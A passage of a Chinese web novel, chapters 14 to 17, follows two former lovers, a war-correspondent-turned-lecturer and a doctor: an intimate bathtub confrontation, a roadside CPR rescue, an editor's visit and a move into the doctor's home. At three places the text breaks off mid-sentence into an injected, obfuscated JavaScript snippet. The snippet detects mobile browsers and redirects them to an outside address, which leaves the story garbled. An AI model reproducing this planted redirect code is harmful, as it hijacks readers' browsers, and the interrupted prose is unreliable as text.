在水声中,所有钻出身体表层的疲乏纷纷被洗刷掉,李和铮把湿黏在额头上的头发全部向后捋去,听到了两声充满礼貌而克制的敲门声。 镜子上裹满了蒸汽,并不能让他看看镜中的自己是什么神情。但他很肯定,那一定不是什么好脸色。 如果真的克制,就不要来敲浴室的门。 这还是在自作自受。他想。活该他现在蹿火,明明白白把人拒绝掉才是真的该做的事,而不是为了什么莫须有的面子不面子的…… 许是今日讲了许多过去的事,那些早就在他生命里消散掉的愤怒此刻在高位闪烁。他很想问骆弥生你到底闹够了没有,而骆弥生会认真地告诉他:我没有闹。 是啊,那便…… 骆弥生熟悉的低音炮隔着一层门清晰可闻:“我能进来吗。” 李和铮哗啦一下从水里站出来,长腿一迈,跨出了浴缸。 14. 鸳鸳浴 李和铮赤着脚站在瓷砖地上,水顺流而下,很快他站立的地方已经聚起了一滩小水洼。很滑,但他没空找拖鞋。 他猛地把卫生间的门拉开,湿手抓住了骆弥生的肩膀,而门外保持着礼貌敲门的骆弥生被抓得猝不及防,没料到他竟然用这样的方式开门,镜片下的杏眼瞪圆,脚下踉跄,忙迈步进来。 门被用力地叩回去,骆弥生被一个完全健康时能扛着摄像机狂奔三公里的男人推到了门上,脑袋撞上门板,疼得一抽气。 李和铮一手拍在他脸侧的门板上,面无表情。 他浑身还在淌水,额发后背,露出整张脸,锋利的轮廓与旧时没两样,水珠顺着高耸的眉骨和挺拔的鼻梁滴落下去,骆弥生的目光堪堪下移,只敢停在他宽阔的肩膀,便不再往下。 李和铮铁灰色的眼中没有半点情绪外露,因为感情停滞,思绪暂停,便只是倒映着镜前亮白的灯色,与一个陷入惶恐中的骆弥生。 这个类似壁咚的姿势维持了足有六十次呼吸心跳,骆弥生被他的目光锁定在此,半个字都说不出来,在极近的距离下,他发觉,自己脑海中那个重逢后单肩背着双肩包的高个子李老师正在迅速模糊掉。 明明——最近最常看的就是他那幅样子,那个被所有学生亲切称呼的“老李”。 姓李的老师有很多,可是论坛里的学生们都知道这个老李独指李和铮。他风趣幽默,潇洒随和,有着辉煌的过去,还平易近人,讲课从不废话,课程安排也有趣,结合实例言之有物,在学生群体里广受欢迎…… 两个多月了,骆弥生一点点收集着那些属于现在的他的只言片语,不爱玩手机的人天天泡在论坛里,像拿着一块块拼图碎片,试图拼出完整的李和铮。 可现在完整的李和铮就在眼前。 不是他努力去拼凑的那个,是那些天天把“老李”挂在嘴边的学生见不到的李和铮。 李和铮在骆弥生大气都不敢喘、快要在蒸汽弥漫的小浴室里窒息时,才低低开口:“进来了,要干嘛。” 骆弥生盯着他,卡壳,心头发紧,在脑中警告自己:他这次真的生气了。 李和铮另一只没撑门的手落在他湿了一片的肩膀上:“把这儿当澡堂了?等不及?” 骆弥生僵住,下意识地后仰,脸上沾了水气,眼镜滑落鼻尖,露出一双写满了紧张和克制的眼睛。 李和铮的手放在了他衬衫领口的那颗风纪扣上。无论是骆大夫还是骆老师,总是规规矩矩地一扣到顶。 他身上不滴水了,而骆弥生的衣服沾了水汽,或者出了冷汗,总之,这件衬衫更严丝合缝地包裹在他身上。 在理智褪去的不可逆的进程中,骆弥生艰难地想着,等不及……是在问什么。 李和铮依然没有半点情绪外泄,冷眼看着他,手指灵巧且不容置喙地解开了那颗扣子。 骆弥生没动,喉结上下滚动。 李和铮便一颗一颗地解下去。 直到解到小腹上的那一颗,他攥住了衬衫下摆,要把它从西裤皮带里拽出来前,骆弥生终于动了,用力扣住了他的手腕,像溺水后大喘的那口气:“阿和。” “不叫李老师了。”李和铮的手顺着他衬衫打开的地方覆了上去,掐住了他腹肌上的那层薄薄的皮肉,变态似的拧了下,“怎么,我以为你这么猛,准备霸王硬上弓。” 骆弥生抿嘴,咬紧下唇,疼,实在是疼。但他在生气,没办法,忍着。 “我不想跟你闹下去了。”李和铮终于放过了他,转身回到了浴缸里。白瓷的缸壁上套着一次性浴缸袋,塑料的刺啦声和水声混在一起,水清,一览无遗,而他也无意遮掩,仰躺着,一条瘸腿搭在缸边,手挡住了眼睛。 “骆大夫,我不打算问你为什么要进来。”他语气平淡地说着陈述句,“无论你是职业病,想关注一个醉酒后泡澡的人,还是你准备跟我在浴室里搞一下,我都不关心。” 骆弥生没说话,看看他便移开目光,揉了揉他刚刚掐过的地方,明天又要青了。 “但我认为我们应该重新审视一下我们的关系。”李和铮放下了手,眼眶泛着一点疲惫的红,躺在浴缸里看着站着的骆弥生。骆大夫精英风的日常造型此刻很是狼狈,但他依然如青竹般挺拔。 “我们已经有过几次能聊聊的机会,因为这样那样的原因,都没聊出来。”李和铮不礼貌地打个哈欠,“今天这机会正好,没人打扰,彻夜长谈。” “你说吧。”低音炮在狭小的密闭空间里震响。 “我原本以为我们是能做个比普通同事亲近一点的朋友的。可惜,因为你我曾经是负距离的人,”他皮笑肉不笑地牵动唇角,“所以很遗憾,我们并不会把控我希望的那个距离。对于这样的现状,我很不满意。你知道我,我不喜欢刺挠的感觉,喜欢快刀斩乱麻。” 骆弥生没有回答他,站在原地,把扎在西裤里的衬衫揪出来,解开剩下的那两颗扣子,剥下去。西裤腰松,皮带解开便掉下去,落在脚边。他从所有衣服里解脱出来,一步迈进了浴缸。 李和铮在他动了后挑起了眉,口中的话止住了,看着他。 长方形的浴缸在塞进了两个身高加起来将近四米的大男人后,溢出了许多水,地面汪成小湖,他们脱下去的衣服全被淹了。 骆弥生进来后只是坐在李和铮的最远端,坐得依然很直,眼镜被蒸汽模糊,便摘掉了,摘了眼镜,便显得很乖。 真是可笑的境况。 李和铮很头疼,他被荒唐到气笑了,手指穿行在头皮上,捋了捋头发。 大家本质上都是体面人,他又没办法大发雷霆说什么“滚出去”一类的话。他刚才窜起来的火气已经用不理智的方式消了,只想借此机会好好沟通一下和旧情人退回能不见就当对方死了的安全境地里,这算什么? 褪去精英范儿的骆弥生没有外人眼里的冷感,一双杏眼盛满认真:“我和你说的我有自己的想法,不是骗你。阿和,当年分手是我提的,因为太不成熟,伤害了你,所以见到你之后我一直想道歉。我道歉了,你生气了。” “你道歉,我不接受。”李和铮耸耸肩,在水里只是缩了下脖子,荡起的波澜打到骆弥生身上,“对我来说没必要的事我就不做。” “我其实是想进来看一下你的腿。”骆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679433|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弥生继续认真地说,“我觉得你的腿应该不至于这么严重,肯定还有什么别的问题。可是我要进来,你又生气了。” “你该跟我保持距离。”李和铮的声音又冷了下去,“哪怕你说不绝交,起码保持社交距离,让我能舒服点。” “可是我不希望跟你保持距离。”骆弥生说着,往前探身,“我在践行我的想法,你可以拒绝,但我不会改主意。” 李和铮像个该死的无赖,在他倾身靠前时,抬脚,踩在了他光裸的肩膀上,抵住了他的动作,冷笑:“建议你还是听我的。没什么好结果。” “你不接受我的道歉,意味着你并不打算给我重新修复由我造成的结果机会。” 李和铮笑出声,意有所指:“骆大夫,你是一名接受了高等教育的精英医生,人民教师。” “我不算。我只是个普通人。” “我也只是个普通人,”李和铮微微使劲儿把他蹬回去,“像普通人一样,没法和旧情人做朋友。” “我也不是想和你做朋友。”骆弥生小声说,终于感受到疲累,往下滑了滑,靠在浴缸尾,叹了口气。 真服了。李和铮让他这幅样子搞得没脾气,又挡住了眼睛。到底他妈的在干嘛。两个人就这样一起泡上澡了,不招笑吗? 是不是有病。 两个看起来真的有病的人就这样沉默着泡到了水微凉,李和铮在水里睡着了。 骆大夫小心翼翼地踩上全是水的地面,先出去把拖鞋拿进来,再把皱成抹布的湿衣服放在洗手台上,在地上铺了条浴巾,吸水,才去叫李和铮,晃他的肩膀:“再睡你感冒了。” “你他妈真的很烦骆弥生,”李和铮现在的睡眠质量早没那么好,重逢后第一次叫出他的全名,睁眼后眼神锐利,写满不加粉饰的烦躁,“我真不知道怎么搞了。” “那就听我的。”骆弥生不生气,拉住他的肌肉绷起的大胳膊,把他拽起来,“配合我说的做。” “你想要的我给不了。”李和铮顺着他的力气站出来,低声说着,给出包裹着淡漠的真诚,“所以不要白费力气,大家都好过。趁我还没把事做绝。” “随你怎么做。”骆弥生把浴巾甩起来披他头上,“我还是那句话,不会改主意。” 话不投机,友好地谈谈不拢,那便不要再打嘴仗了,用行动换吧。 李和铮不再说话,随意用浴巾擦着头发,出去了。 骆弥生在他身后把门关上,顿了顿,落了锁。 门,浴缸,澄澈的水,满是疤痕的身体。抬高的腿,崩断线的扣子,被掐出的青,被踩住的肩膀。 他闭上眼,咬紧下唇,封锁一切有可能外泄的声音。 —————— 李和铮在骆弥生滚进他怀里的瞬间,醒了。 他真的很困,大脑还是即时给出反应:骆弥生睡觉很老实,这只能是故意的。 刚刚还睡得很香的李老师在山区里月明星稀的窗下,准备把胳膊抽出来,不动声色:“明天不要住一个房间了,今晚我认了,行吗?” 骆弥生不答,掀起被子,把他们蒙在一起,覆下来。 15. 安全屋 充足的氧气和微弱的光线都被剥夺,被完全包裹在被子里的李和铮真想直接把骆弥生推下去,可他的胳膊不听自己使唤似的,搂住他的背。 什么都看不见,身上有一个成年男人的重量,颈窝里埋着一颗毛茸茸的脑袋,湿热的呼吸打在耳侧。 此刻,他们置身于远离尘嚣的远郊安静的民宿里,窄小的被窝。 ……算了。 李和铮搂在骆弥生背上的手没放下来,懒懒开口:“准备把我闷死,陪你殉情吗。” “你刚刚梦里皱着眉。”骆弥生近乎气声,说话间,有几个不算吻的贴近,落在他的颈侧,“腿也有几次抽搐,没睡踏实。你现在太没安全感了,需要一个安全屋。” “造谣呢。我睡得很香。”李和铮的手无意识地在他背上摸了摸。 “根本没有。”骆弥生闷闷地,确实缺氧,却不想掀开被子,“你现在在乎的事很少,你连自己都不在乎了。” “我对自己挺好的。每天都早睡早起,喝养生茶。” “没有用。”骆弥生收紧了搂在他身上的手,一个各种意义上都密不透风的怀抱,“你需要这个。” “你这是出于职业素养吗。” “你明知道不是。”喘不上气了,骆弥生把被子掀开,人也准备离开,可搂在他背上的那只手并没有松。 “那你呢,你需要吗。” 骆弥生一怔,重新在微弱的光线中看他,可是没眼镜,什么都模糊一片。 李和铮突然带着他一翻身,从一上一下地搂住,变成了面对面侧躺,搂在他背上的手没有松,瘸腿抬起,骑在他身上。 完全地躺在他怀里,骆弥生的心跳瞬间飙高,僵住,眨巴着眼。 “我以为你满脑子想着睡我。”李和铮又闭上眼,准备就着这个姿势入睡了。 “我也不算没想。”很坦诚。 “你让我怎么办,我该说的话都说完了。” “我不想再强调了。”骆弥生放松下来,松了口气,“如果你没办法,就按我的来。我知道对于现在的你我来说有很多问题需要解决,慢慢来。” “我没耐心做让我没耐心的事,你也不是第一天知道。”李和铮声音渐弱,“行了大夫,睡吧。晚安。” 他准备这样睡。骆弥生勾起唇角,也闭上眼:“晚安。” —————— 晨起的一点尴尬两个人心照不宣地忽略掉,互相拉扯着爬起来,看到浴室里昨天的衣服全部都呈报废状。 李和铮啧啧摇头:“不知道的还以为昨天有一场多凶的大战。” “你很惋惜?”骆大夫重新戴上眼镜,因为要登山,穿了一身白色运动装,外套的拉链也拉到顶,干净清爽。 “惋惜了,你给吗?”李和铮调侃地。 “我随时。”骆弥生先出去了。 一句两句的扯淡可以,实际上他也确实没有半点这方面的想法。 只不过,其他老师们都默认了,等他俩最后下来,全都报以暧昧又不怀好意的目光。 “舒服吗。”苏启然嘿嘿笑。 “那可太舒服了,”李和铮走上前,也不解释,随便他们默认,哥儿俩好地勾住苏启然的肩膀,“走呗,今天安排什么剧烈运动吗?哥们儿没劲儿。” “你这不行啊兄弟,你虚呀!”苏启然坏笑,要给他来个猴子偷桃,李和铮笑着躲,两个的大男人在路上打打闹闹。 骆弥生在背后看,勾起嘴角。 一行人说说笑笑地徒步出发,往上山的方向走,赵晋不知道从哪儿变出来一根登山杖,递到了可怜的瘸子手里。 他们互相拉拽着爬上缓坡,临近龙庆峡的登山口,李和铮找了个长椅坐下了,笑眯眯地:“爬山嘛,没必要坐缆车,你们去你们的,我在这儿等你们……骆大夫,向后转,别过来。不用管我,去吧。” 骆弥生看着他,坦白说确实很想在这里陪他坐着,但众目睽睽之下,也没必要争,便点点头:“有事情打电话。” “能有什么事儿啊!”霍琪受不了地推着骆弥生走,“你们俩别这么如胶似漆的……” 终于安静了。 李和铮长长地舒了口气,靠在椅背上,四下看看,没有禁烟标识,给自己点了一支。 晨雾才散开,含氧量极高,李和铮放空思绪,与骆弥生相关的一切都暂且抛之脑后,想要的假期的放空才降临。 现在的骆弥生与骆弥生其人所代表的意义,同样会带给他压力。这很不好。 一会儿功夫来爬山的人多了,李和铮静坐,观察着这些人群。年轻的是一个宿舍的,有老有少的是一家子,也有看起来是公司团建的。 在过去的很长一段时间里,他不在战区里时,都在远离战火处观察着那些遭受着战争后遗症的人群,并专门为这群同样罹难的人群书写。 他们在人为的灾难中失去家人,失去完整的躯体,也失去了作为正常人生活应当有的平凡的幸福与完整的尊严。 他很久没在人间见到过这样成群结队洋溢着轻松的笑容的人群,看着看着,心头不明显的烦乱渐渐的荡然无存。 而这种平静,在目睹了一家老小渐近他后,被迅速打破。 头发花白的老太太有看起来很硬朗的身板,可心脏骤停这种事并不是身体羸弱的人才会发生。 李和铮眼睁睁看着老太太捂着胸口,挣扎着想抓住自己的儿女,仰后倒下去,竟没一个人来得及扶住她,令她重重摔在了斜坡上。 惊叫四起,小孩儿吓哭了,大人们慌乱地扑下去跪伏在地,喊救命。 现在的李和铮怕极了听见这两个字,但这两个字会促使一个瘸子近乎本能地跑过去。 比起慌乱的家人,他自然是最冷静的那个。 可他蹲不下去,只能歪斜着跪下去,膝盖猛痛。而老太太脉搏消失,呼吸停止,整张脸很明显地开始泛灰白色。 他便指挥老太太的家人先去往下找一找景区入口处有没有AED装置,让周围人散开,给救护车打电话,撸起袖子,迅速开始做心肺复苏。 老太太刚才摔得实在不清,并且这样的脸色,他的经验判断,她看起来并不像是纯粹的心肌梗塞。 这时候,周围已经有人开始举起手机录视频。信息时代,无论发生什么样的突发状况,录视频才是人们第一件要做的事。 最近的医院过来也得将近半个小时,黄金抢救时间,若是错过,他实在没有办法接受这样一个生命在他眼前消逝。 李和铮压下某些不可名状的怒意,手上不停,让哭喊着的老太太的女儿从他的兜里拿出手机,告诉她解锁密码,拨通了骆弥生的电话。 正在与老师们谈笑的骆弥生接到电话后逆着人群向下冲,他们爬了将近半个小时的路程,大约不到10分钟,被他跑了下来。 李和铮不停地按了十几分钟,此刻浑身大汗淋漓。 骆弥生告知周围人他是医生,也跪在一旁,迅速检查过老太太的状况,接过了李和铮的位置。 在他们坚持不懈的轮流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679434|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按了二十几分钟后,老太太终于苏醒过来,这时救护车也开了上来,把还处在惊魂未定状态中的一家人接走了。 对于他们来说,那些道谢和鼓掌都不代表什么,莫名其妙完成了一场急救的两个人满头大汗,站在晨风徐起的山脚下,面对面,喘着粗气,相顾无言。 缓过来些,李和铮笑了:“骆大夫,你该去刷牙,你说有事打你电话,真有事了。” “嗯,避谶。”骆弥生垂在身侧的手在抖。 李和铮注意到,挑起眉:“你也是退休久了,体力不行了?” 骆弥生对自己的状况避而不谈,用一只手按住另一只手的手腕,试图让它们都停止颤抖。 “不想爬山了,我们去下面的吸烟室吧。”骆弥生说着,发现李和铮因为跪了二十几分钟,腿疼得走不好路,皱起眉,“我去景区门口租个轮椅,等我。” “你能不能别气我了,”李和铮哭笑不得,“我至于吗?” “你就是因为总觉得什么都不至于,腿才成了这个样子。”骆弥生冷冷地瞪他。 “那是因为苏门答腊的急救技术不行……得了,别凶我。”李和铮再次把他当成了人形拐杖,两个人缓步往下去。 李和铮垂眼看了会儿这位再次救死扶伤的医生,看他放空地目视前方,结合之前从林阳那里听来的言论,直言指出:“你状态不太对。怎么了,你现在很怕急救吗?” “没什么,累了而已。这种事,碰上了能顾过来,顾不过来的太多。”骆弥生避重就轻。 “是吗?”李和铮收起眼里的探究,既然他不在意,他更无所谓,“我们说话的每几秒钟里,世界上都有一个人会饿死,难不成我们要赶到每个人面前,把馒头塞到他嘴里?” 骆弥生不说话,看见了景区入口处透明的玻璃房。 坐进吸烟室里,他先给自己点了烟,把火扔给李和铮,垂头抽了两口,还在抖的手慢慢平复。 李和铮把这状况尽收眼底,不动声色,想既然旧情人不愿与他多提,他便不问。 他们在这个无人的封闭小屋子里待了许久,直到两个人都不再为刚才的事挂心。 骆弥生抬眼时已一切如常,看着李和铮,要开口。 “有什么以后再说吧,骆大夫。我们是出来度假的。回去后还有写不完的教案,你也有看不完的诊。”李和铮灭了烟,叹口气,“让我的脑子松快会儿。” 骆弥生干脆地点头:“好,我什么都不说。” 接下来的两天假期里,他们继续睡在同一张床上,有亲近的肢体动作,多余的话没有聊,遵循着只是出来度假的指导思想,跟随着领队苏启然把几个景区玩儿遍,相安无事。 退了房,每个人都变成了另一种尸体,玩儿累了,也不想重新回去上班。 李和铮自然地上了骆弥生的车,苏启然因为要回市里去找宋妍,上了赵晋的车。 不到两个小时的路程,李和铮很干脆地睡过去,直到快到了,骆弥生才低声说:“今晚不想回家。” “随你便。”李和铮的回答一如既往不带任何个人感情色彩,“住呗,又不是没你地儿。” 他刚说完,手机响了,掏出来看。 李和铮看清微信消息列表上浮到顶端,许久未见的那个名字,蓦然沉默。 他沉默得太突然,骆弥生好奇地看向他:“怎么了?” 李和铮没说话,点进去。 对方问:在忙吗?我去学校找你见一面吧,什么时候方便?给我个时间。 16. 倒霉蛋 不知道他看见什么消息,根据表情判断,应该只是纯粹的烦,骆弥生便先去找车位。 等车停好,李和铮才叹气,解开安全带:“我原来的编辑,是版块副总,白逐雪,说要来找我。” “之前我就想问你来着,你的记者证怎么没注销?” “我档案没转走,”李和铮站在地上活动活动身体,和他一起往家走,“理论上我现在这个是停薪留职,但我的辞呈盖过章了,按理说系统里也同步了,白逐雪没给我过完手续。不清楚他们内部怎么磋商的,我没问。我在咱们学校是客座,也没问我转档案的事。” “也就是说……” “没可能。”李和铮斩钉截铁,“我不会再写了。” 而后他意识到,他二人之间的默契没消散,不需要把一句话完整听完,便知道对方要说什么。 没必要的默契。 “那你愁什么。” “我不想见她,没好事儿。”李和铮靠在电梯里,继续唉声叹气,“但没用,她说了要来学校找我,如果我拒绝,她会查我课表,进教室听课,契而不舍。” 骆弥生听得忍俊不禁:“编辑都这样吗?还是你太不自觉,要被盯着。” “应该说你们都太闲。叔叔我只想退休,全都缠上来。”李和铮进了家径直往卫生间走,“你自便,我先睡。” 骆弥生在来第二次的房子里驾轻就熟,等他把度假带回来的东西分门别类的归置完,脏衣服也洗上,李和铮已经趴在床上睡熟了。 才九点多,他这样睡半夜肯定会醒。骆弥生止住自己想把他翻过去让他别这样睡的行为,退出房间。 他要等衣服洗完,还得理出下周要用的心理健康测试题。 学校里刚又出了跳楼事件,新一轮的抓心理健康又要来了。下午还在山里的时候他便接到了科室通知,测试题明天要给,但没拿电脑。 考虑到他现在把李和铮叫醒只为了说借用电脑,可能会被踢,骆大夫自己去取了,坐在餐桌前,打开。 没有开机密码,壁纸是肯尼亚大草原。桌面上平铺着一个又一个的文件夹,用年份命名,从前到后排列着。 骆弥生最了解他这一点,李和铮只是看起来行事作风很P,实际上是一个非常追求秩序感的大J人。无论是做事,还是内心的平衡。 他在桌面上新建文档,目光一扫,在最右下角,看到了一个文件夹名:May。 ……是指五月,还是他? 骆弥生点进去,空的。 愣了几秒,骆弥生意识到——有关他的一切都已经被清空了,他只是在这个人的生命里占据一个很小的角落。虽存在,却空空如也。 —————— 另一种意义上并没有得到假期应有的放松的李老师周一满课,站上讲台,迈步都感觉自己拖着自己的尸体,根本没有刚当老师时松快的精气神。 为了能够让接下来的一切都正常进行,他给不愿意见的白逐雪回复,约中午在学校旁边的饭店里见面,无论她要说什么,都只有一顿午餐的时间。 白逐雪很干脆地回给他ok。 上午是秦舟班的课,秦舟一如既往地提前到,帮他连投屏,去给他的保温杯里接热水。 “别干这些没用的,”李和铮手里的杯子被抢走,无奈,靠在门边站得歪歪斜斜,“不是想写战地报道吗,有帮我的功夫不如多去写几篇作业。” “老师您有没有看论坛?”秦舟故作神秘地凑近他,李和铮靠在门上,战术后仰。 “又怎么。” “现在学校里很多人都在传您和骆老师原来是一对儿,”秦舟压低声音,鬼鬼祟祟地,“论坛里有人自称和您是同班同学,说你们两个原来上学的时候确实在谈。” “那怎么了。”李和铮挑眉。 “这不会对您职业生涯有影响吧,咱们学校怎么说也是……这种花边新闻,万一……” “多谢关心。”李和铮截断了他的话,“准备上课吧。” 秦舟看出他不悦,想道歉,没说出口,只好听话地先去接水,回来后正襟危坐,摆出认真听讲的姿态。 李和铮看着教室里人群稀稀拉拉地入场,心头有些烦乱。 这才刚两个多月而已。他预想中的退休生活似乎进入到一种无法由他掌控的境况。 工作上,课程安排太多,要说他真的有什么教书育人的热情,也不全是,只是有一点儿本能的职业使命感。问他是不是致力于传道授业解惑也,那答案一定是否定的。 可如果只是因为觉得心烦,便要去和教研室调整这些已经开课班级的课程安排,这种半途而废的事他也不愿意做。 和旧情人的关系就更微妙了。抛开这些其他人眼里有的没的不谈,他真的只想和洛弥生保持在安全的距离里。 可是他话已经说到了,骆弥生也坦言不愿意顺着他的意思来。 早上他们一起出门,到学校后要分开了,骆弥生竟然问他,能不能搬过来住。 当下他是拒绝了。骆弥生用他说过的话反问他,不是说可以在这里留宿吗? 偶尔留宿和搬过来同居完全是两码事。但这二者之间是否真的有那么大的区别,李和铮无法给出能说服自己的定论。 没有定论,便先不想。 下课后拒绝了秦舟热情的午饭邀约,忽略骆弥生发来的微信,奔着东门去,白逐雪二十分钟前到了。 作为某官媒国际新闻版块的副总编,白逐雪太年轻了,才刚过四十。惯常留着长披肩发,穿了一身水蓝色的西装,颇为妩媚的造型,实际上是超典的“灭绝师太”性格,雷厉风行,为了抽烟,选了室外的座位。 李和铮坐到她对面,姿态放松,心里有些不自在,自嘲小学生见班主任不过如此了。 合作了超过十年,才差不多不到四个月没见,白逐雪上下打量他,没打算寒暄,目光灼灼:“我长话短说,你每个月给我上两篇稿子,多了不要,行不行。” “不行。”李和铮一口回绝,“我之前懒得盯,正好今天把没办完的事办明白。” 他从牛仔裤兜里掏出记者证,丢桌子上:“你拿回去,把手续给我办完。” “流程在我这儿,我不点头,你办不到。”白逐雪隔着桌子伸长胳膊给他点烟。 “那我做什么才能让你把我开了?”李和铮低头接了她的火,靠回椅背上,懒洋洋地笑,伸长右腿,抻了抻裤子。 “等你真废了再说。”白逐雪说得很不客气,“我不信你能在学校里蹲一辈子。其实,老李,你现在在这里带学生也是带,你回社里面带学生也是带。现在出来的小孩儿,一个两个的都没有你们这一代好用。一篇稿子打回去无数次,用不了。” “我一线教学,我还能不知道?”一句话说得李和铮深刻共情,掐着烟的手敲了敲桌子,“我留个写通稿的作业,十个里八个是AI上来的,另外两个好歹还知道对着改改。” “所以你每个月给我上两篇稿子。” “不行。” “一篇?” “我写不了。”李和铮冲她摊手,“我这人傲,日常的报道配不上我,战区我又去不了了。” “你少扯几把淡。”白逐雪冲他翻个白眼,“你是出不去,后方组稿行不行?” “哇靠,大姐,”李和铮灭了烟,双手抱臂,“你没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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血液里的不安分因子正在叫嚣。他是天生的战士,是他主动放下枪炮,丢盔弃甲。 只一步,草原上不停歇的风,轰烈的战火,弥漫的硝烟……毛骨悚然的恐惧兜头而下,瞬间溺水的窒息把李和铮拽回了现实。 ……算了吧。已经做了决定,虽然退休生活现状有点跑偏,拽一拽,也能回到正轨。 毕竟,就算他能把ptsd治好,腿瘸是一辈子的事了。 可回到现实,更造孽啊!到底谁来帮他判卷子? 屋漏偏逢连夜雨。 最近忙于心理培训和咨询的骆弥生去他家留宿了两次,两个人真当对方是舍友,多的话不说,只睡觉就走。 但骆弥生这人总是太细致,加了他们小区的社区群。 这天群里发了通知,李和铮住着的那栋楼暖气管突然崩了,从十六层淹到了十层,变成了水帘洞。 好死不死的,李和铮家被淹坏在列。 ……善后有房东和物业,该修的修,该赔的赔。 偏偏期中考试之后,各大学院都要派代表教师去参加某个学术高峰论坛,而李和铮作为“特殊人才”,同样在列。 纯粹的实干派从没参加过这种东西,去之前,他有很多材料得准备。而最近几天,这个家里的生存环境绝对不适合完成大量的繁琐工作。 住酒店? 先一步在社区群里看到这个情况的骆弥生当然不会给他这个机会。 下班时间,穿着白衬衫的骆弥生适时地出现在新闻系教研室门口,看向李和铮,分外平常:“可以走了吗?” 17. 骆公子 无论在什么地方,花边新闻永远是传得最快的。眼见着最近正在绯闻中心的骆弥生卡着下班时间来接人,教研室里的老师们都向李和铮投来暧昧的目光,连正好在办公室里的方主任都推了推眼镜,露出意味不明的笑。 李和铮叹口气,把电脑连带着线一起胡乱塞进包里,起身,伸个懒腰:“你那边完事儿了?” “嗯,”先斩后奏来截人的骆弥生见他搭理自己,心下一松,走进来和大家点头致意,“最后一个咨询刚结束,时间刚刚好。” “我也想下班有人来接,”有老师笑,“真好,我们家那个从来没来过,就知道让我挤地铁。” 李和铮拎起电脑包,对上同事的调侃,只能也笑:“没办法,骆大夫医者仁心,关爱我这个残疾人。” “哦~懂,懂。” 骆弥生下意识要接过那个沉重的包,被李和铮不动声色地避开。 “住你那儿也行吧。”李和铮自己把包单肩背上,“正好那个演讲稿我不知道怎么写,你比较有经验,咱俩对齐颗粒度。” 骆弥生抿唇微笑:“学会这种职场词了?” “社会就是个大染缸。”李和铮心中不耐,为了不显得太过,故作愤愤,“没用的职场黑话已经侵蚀了我的语言环境。还没问你现在住哪儿?” “我和我爸妈,我姐一家,在同一栋楼分别住三层。”骆弥生边说边转眼看他的脸色,“我在17层,他们分别在18和19,我妈有时候会下来……你那里修好之前我会告诉他们这几天先别下来。” 李和铮干笑两声,没接话。他本来该调侃下多奢侈啊,寸土寸金的地方,一样的房买三套,但他被噎住了。 这相当于是在家长眼皮子底下入住,既然这样他为什么不去住酒店。 “今晚我们一起写致辞,”骆弥生知道他要说什么,面上不显,为他的入住做无法拒绝的争取,“这个后面还要改很多次,你要报教研室审。你不爱写这种东西,我能帮你。” 李和铮摆摆手,示意他不用多说。不论骆弥生是什么目的,总是善意的,说多了总显得他不识好歹。 想起骆弥生的父母,这种感觉,跟见白逐雪差不多。 他们两个人是彼此的初恋,中学时代都是好好学生,没早恋过,体验不到因为早恋被叫家长。等他大三那年,从宿舍搬出去同居,时间久了总是瞒不住的。 李和铮自己家是散装的,得知儿子竟然是个弯的,父母比起生气更多的是惊讶,惊讶完了也就过去了,他那混血老娘更是很热情地给骆弥生置办礼物。 骆家两个教授,那就很恐怖了。他们一个在社会学领域一个从医,比谁都了解同性恋,但人死自家门口了,过不去了。尤其是对于一直乖乖崽的骆弥生来说,这简直就是不可能发生的事。 骆弥生在家里被收拾个底儿掉,愣是一声不吭,第二天回来没事儿人似的,他们的生活一切如常。还是林阳给他通风报信,说老梅快被他爹打断腿了。 那时候李和铮还只是个翅膀不硬的学生仔,最大的成绩是连年获胜的辩论赛。他想这绝对不行啊,他自己单枪匹马去见人多像一对苦命鸳鸯,不知道的还以为准备“你若折他翅膀我毁整个天堂”,好赖自己家也算是拿得出手的,转头求助父母。 两家家长颇为正式地进行了一次会面,席上骆家全员到齐,骆弥生的姐姐骆叶月最兴奋,越过脸色铁青失了体面的父母,和他老娘艾瑞娅相谈甚欢,最后强行把鸿门宴变成了……见家长。 知道这事的林阳大呼小叫,说你们本来也领不上证,这样岂不是相当于过完明路了,你俩已经…… 那有什么呢。李和铮想着,见了家长该分手还要分手,结婚了还能离婚。 同居在某些时候能代表事实婚姻,他也算是英年早离过了。 骆弥生偏头看他:“笑什么?” “没什么,”李和铮皮笑肉不笑,“我想起好笑的事情。” “你老婆生孩子了?”骆大夫真行,这种烂梗也要接。 “我老婆可生不了孩子。”李和铮跟着贫,贫完只想把舌头吞下去。 ……艹。 骆弥生另一侧的手抓紧了西裤裤缝。因为知道他只是纯粹的贫,更显失落。 李和铮没心情多说,他们便只是沉默地驱车前往骆弥生家。 “你现在还有能穿的西装吗?” “没有。几百年穿不上一次。”李和铮打个哈欠,“什么意思,学术论坛也要穿正装。” “今天去买?” “……你不是吧。”李和铮挑眉,“有必要吗?” 骆弥生方向盘一转,下了环路:“去一趟skp吧。” 